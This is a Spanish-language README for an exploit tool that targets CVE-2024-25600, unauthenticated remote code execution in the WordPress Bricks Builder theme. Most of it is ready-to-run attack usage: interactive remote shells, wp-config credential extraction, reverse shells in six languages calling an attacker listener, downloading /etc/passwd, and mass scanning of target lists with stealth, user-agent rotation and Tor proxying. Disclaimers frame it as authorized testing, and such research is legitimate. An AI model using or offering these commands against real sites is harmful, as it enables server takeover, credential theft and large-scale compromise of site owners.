[!IMPORTANT]
Solo uso autorizado. Esta herramienta es para investigación de seguridad, educación y pruebas de sistemas que posees o para los cuales tienes permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.
Tabla de Contenidos
Resumen
CVE-2024-25600 es una vulnerabilidad crítica de ejecución remota de código sin autenticación en el tema de WordPress Bricks Builder. El manejo inadecuado de la entrada controlada por el usuario en el endpoint REST render_element permite que atacantes no autenticados ejecuten comandos arbitrarios de PHP/sistema en las instalaciones afectadas.
BricksRCE Exploiter (cve-2024-25600.py) es una herramienta de evaluación Python completa para profesionales de seguridad autorizados:
- Detectar instalaciones vulnerables de Bricks Builder
- Validar el impacto con ejecución controlada de comandos
- Interactuar con hosts comprometidos mediante un shell interactivo
- Escaneo masivo de listas de objetivos con trabajadores asíncronos/hilos
- Exportar resultados estructurados para informes
Detalles de la Vulnerabilidad
Endpoints Afectados
| Endpoint | Método |
|---|
/wp-json/bricks/v1/render_element | POST |
/?rest_route=/bricks/v1/render_element | POST |
Resumen del Ataque
- Extraer un nonce de Bricks del código fuente de la página objetivo
- Enviar una solicitud
render_element manipulada con una carga útil de elemento malicioso
- La evaluación de código del lado del servidor conduce a la ejecución arbitraria de comandos
Referencias
Características
Capacidades Principales
Controles Operacionales
| Capacidad | Descripción |
|---|
| Exportación JSON / TXT | Guardar resultados de escaneo y objetivos vulnerables |
| Historial de comandos | Registro opcional de comandos ejecutados |
| Registro en archivo | bricks_rce.log persistente más rutas de registro personalizadas |
Instalación
Requisitos Previos
- Python 3.8+
pip
- Acceso de red al(los) objetivo(s) autorizado(s)
Configuración
git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2024-25600.py --help
Dependencias
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0 # opcional — soporte para proxy SOCKS5
Inicio Rápido
Reemplace https://target.example con un objetivo de laboratorio o autorizado únicamente.
# Shell interactivo
python3 cve-2024-25600.py -u https://target.example
# Comando único
python3 cve-2024-25600.py -u https://target.example --cmd "id"
# Escaneo masivo
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json
# Detección de versión
python3 cve-2024-25600.py -u https://target.example --detect-version
# A través de proxy de Burp
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
Guía de Uso
Todos los ejemplos usan el script principal: cve-2024-25600.py
1. Mostrar ayuda
python3 cve-2024-25600.py --help
2. Shell interactivo con un solo objetivo
Abre un shell interactivo RCE después de confirmar que el objetivo es vulnerable.
python3 cve-2024-25600.py -u https://target.example
Flujo de trabajo:
- Normalizar y validar la URL
- Extraer nonce de la página
- Verificar vulnerabilidad (a menos que se use
--force)
- Entrar en un shell interactivo
3. Ejecutar un solo comando
python3 cve-2024-25600.py -u https://target.example --cmd "whoami"
Guardar la salida del comando en un archivo:
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output
4. Elegir tipo de carga útil
# Carga útil predeterminada basada en excepción PHP
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php
# Carga útil basada en system()
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system
5. Detectar versión de Bricks Builder
python3 cve-2024-25600.py -u https://target.example --detect-version
Combinar con un comando:
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"
python3 cve-2024-25600.py -u https://target.example --extract-wp-config
Se guarda como wp-config_<objetivo>.txt si tiene éxito.
7. Shell inversos (solo laboratorio autorizado)
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — reverse shell bash
python3 cve-2024-25600.py -u https://target.example \
--reverse-shell bash \
--lhost 10.0.0.5 \
--lport 4444
Todos los tipos de shell inverso compatibles:
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby --lhost 10.0.0.5 --lport 4444
8. Modo forzado (omitir verificación de vulnerabilidad)
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"
9. Escaneo masivo desde un archivo
# targets.txt — una URL por línea
python3 cve-2024-25600.py -f targets.txt
Con hilos, retardo, sigilo y salida JSON:
python3 cve-2024-25600.py -f targets.txt \
-t 15 \
--delay 0.5 \
--stealth \
-o vulnerable.json
Escaneo síncrono (pool de hilos) en lugar de asíncrono:
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt
Escaneo masivo silencioso:
python3 cve-2024-25600.py -f targets.txt -q -o results.json
10. Selección de endpoint
# Ambos endpoints (predeterminado)
python3 cve-2024-25600.py -u https://target.example --endpoint both
# Solo /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json
# Solo /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route
11. Modo sigiloso
python3 cve-2024-25600.py -u https://target.example \
--stealth \
--delay 1.0 \
--max-retries 5 \
--timeout 20
12. User-Agent personalizado
# UA personalizado
python3 cve-2024-25600.py -u https://target.example \
--user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"
# Deshabilitar rotación aleatoria de UA
python3 cve-2024-25600.py -u https://target.example --no-random-ua
13. Soporte de proxy
# Proxy HTTP (ej. Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
# Proxy SOCKS5
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050
# SOCKS5h (DNS a través de proxy / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050
14. Verificación SSL
# Habilitar verificación de certificado SSL (deshabilitada por defecto)
python3 cve-2024-25600.py -u https://target.example --verify-ssl
15. Salida y registro
# Guardar resultados de escaneo como JSON
python3 cve-2024-25600.py -f targets.txt -o results.json
# Guardar resultados de escaneo como TXT
python3 cve-2024-25600.py -f targets.txt -o results.txt
# Archivo de registro de aplicación personalizado
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v
# Registrar comandos ejecutados
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"
16. Modos verboso y silencioso
# Registro verboso / depuración
python3 cve-2024-25600.py -u https://target.example -v
# Modo silencioso (salida mínima)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"
17. Ajuste de rendimiento
python3 cve-2024-25600.py -f targets.txt \
-t 25 \
--timeout 20 \
--delay 0.2 \
--max-retries 5 \
-o results.json
18. Ejemplo de evaluación completa combinada
python3 cve-2024-25600.py -u https://target.example \
--detect-version \
--extract-wp-config \
--stealth \
--delay 0.8 \
--timeout 20 \
--max-retries 5 \
--endpoint both \
--proxy http://127.0.0.1:8080 \
--log-file bricks_assessment.log \
--command-log commands.log \
-v
19. Comandos integrados del shell interactivo
Después de iniciar con -u (sin --cmd / --reverse-shell):
Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit
Referencia de Comandos
Opciones de Objetivo
| Argumento | Descripción |
|---|
-u, --url | URL de un solo objetivo |
-f, --file | Archivo que contiene URLs objetivo (una por línea) |
Opciones de Escaneo
Opciones de Sigilo
Opciones de Explotación
Opciones de Salida
Shell Interactivo
Al explotar un solo objetivo sin --cmd o --reverse-shell, se abre un shell interactivo:
Shell> whoami
www-data
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> help
Comandos Integrados
Características
- Historial de comandos persistido en
~/.bricks_rce_history
- Autocompletado para comandos comunes
- Autosugerencias del historial (prompt-toolkit)
Salida y Registro
Consola
Paneles, barras de progreso y tablas de resultados potenciados por Rich:
[*] Probando: https://target.example
[+] ¡https://target.example es vulnerable!
[+] Shell interactivo abierto exitosamente
Tabla de Resultados de Escaneo
Exportación JSON (-o results.json)
{
"timestamp": "2026-07-17T01:30:00",
"version": "1.0.0",
"config": {
"threads": 10,
"timeout": 15,
"delay": 0.5
},
"stats": {
"processed": 100,
"vulnerable": 3,
"failed": 97
},
"vulnerable_targets": [
{
"url": "https://target.example",
"timestamp": "2026-07-17T01:31:12"
}
]
}
Archivos de Registro
| Archivo | Propósito |
|---|
bricks_rce.log | Registro de aplicación por defecto (solo añadir) |
--log-file RUTA | Manejador de registro personalizado adicional |
--command-log RUTA | Registro de auditoría de comandos ejecutados |
Solución de Problemas
Flujo de Depuración
# Verificación verbosa de un solo objetivo
python3 cve-2024-25600.py -u https://target.example --detect-version -v
# A través de Burp para inspección de solicitudes
python3 cve-2024-25600.py -u https://target.example \
--proxy http://127.0.0.1:8080 -v --cmd "id"
# Preferir un endpoint específico
python3 cve-2024-25600.py -u https://target.example --endpoint json -v
Estructura del Repositorio
exploit/
├── cve-2024-25600.py # BricksRCE Exploiter (v1.0)
├── requirements.txt # Dependencias Python
├── README.md # Este archivo
├── bricks_rce.log # Registro de ejecución (generado)
└── venv/ # Virtualenv local (opcional, no incluido en el control de versiones)
Historial de Versiones
v1.0.0 — Lanzamiento Inicial
- Detección y explotación de RCE sin autenticación para CVE-2024-25600
- Extracción de nonce multimétodo
- Shell interactivo con subida / descarga
- Modos de comando único y reverse shell
- Escaneo masivo asíncrono / con hilos
- Detección de versión y extracción de wp-config
- Modo sigiloso, rotación de UA, soporte de proxy
- CLI enriquecida con exportación de resultados JSON/TXT
Descargo de Responsabilidad
Este proyecto se proporciona tal cual para investigación de seguridad defensiva y pruebas de penetración autorizadas.
Al usar este software, aceptas que:
- Solo atacarás sistemas que posees o para los cuales tienes autorización explícita para probar.
- Entiendes las leyes aplicables sobre abuso informático y protección de datos.
- El autor y los contribuyentes no son responsables de daños, pérdida de datos o consecuencias legales derivadas del mal uso.
Si descubres esta vulnerabilidad en entornos de producción que no posees, sigue prácticas de divulgación responsable y coordina con el propietario del sitio / el equipo de seguridad de Bricks Builder.
El acceso no autorizado a sistemas informáticos es un delito federal.
Autor y Créditos
Licencia
Licencia MIT
Copyright (c) 2024–2026 Sudeepa Wanigarathna
Por la presente se concede permiso, libre de cargos, a cualquier persona que obtenga una copia
de este software y los archivos de documentación asociados (el "Software"), para tratar
el Software sin restricción, incluyendo sin limitación los derechos
de uso, copia, modificación, fusión, publicación, distribución, sublicencia y/o venta
de copias del Software, y para permitir a las personas a las que se les proporcione el
Software hacer lo mismo, sujeto a las siguientes condiciones:
El aviso de copyright anterior y este aviso de permiso se incluirán en todas las
copias o partes sustanciales del Software.
EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O
IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A LAS GARANTÍAS DE COMERCIABILIDAD,
IDONEIDAD PARA UN PROPÓSITO PARTICULAR Y NO INFRACCIÓN.
Soporte
- Dale una estrella al repo si ayuda en tu investigación autorizada
- Abre issues para errores, falsos positivos o mejoras en la detección
- Las pull requests son bienvenidas para documentación y UX de laboratorio autorizado
Solo para pruebas de seguridad autorizadas.